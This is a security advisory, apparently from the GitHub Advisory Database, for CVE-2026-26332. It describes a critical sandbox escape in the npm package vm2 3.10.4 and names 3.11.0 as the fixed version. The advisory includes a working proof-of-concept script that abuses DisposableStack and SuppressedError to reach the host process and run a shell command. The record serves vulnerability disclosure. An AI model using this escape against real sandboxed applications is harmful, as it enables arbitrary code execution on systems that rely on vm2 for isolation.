Advisory

GHSA-55hx-c926-fr95

Also known as: CVE-2026-26332

Summary

VM2 Has a Sandbox Escape Issue via SuppressedError

Details

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-05-05 16:33 UTC
Modified
2026-11-04 03:45 UTC

Affected packages and fixes

vm2

npm · All systems

Affected

  • introduced 0, fixed 3.11.0 (semver)

Fixed versions

3.11.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences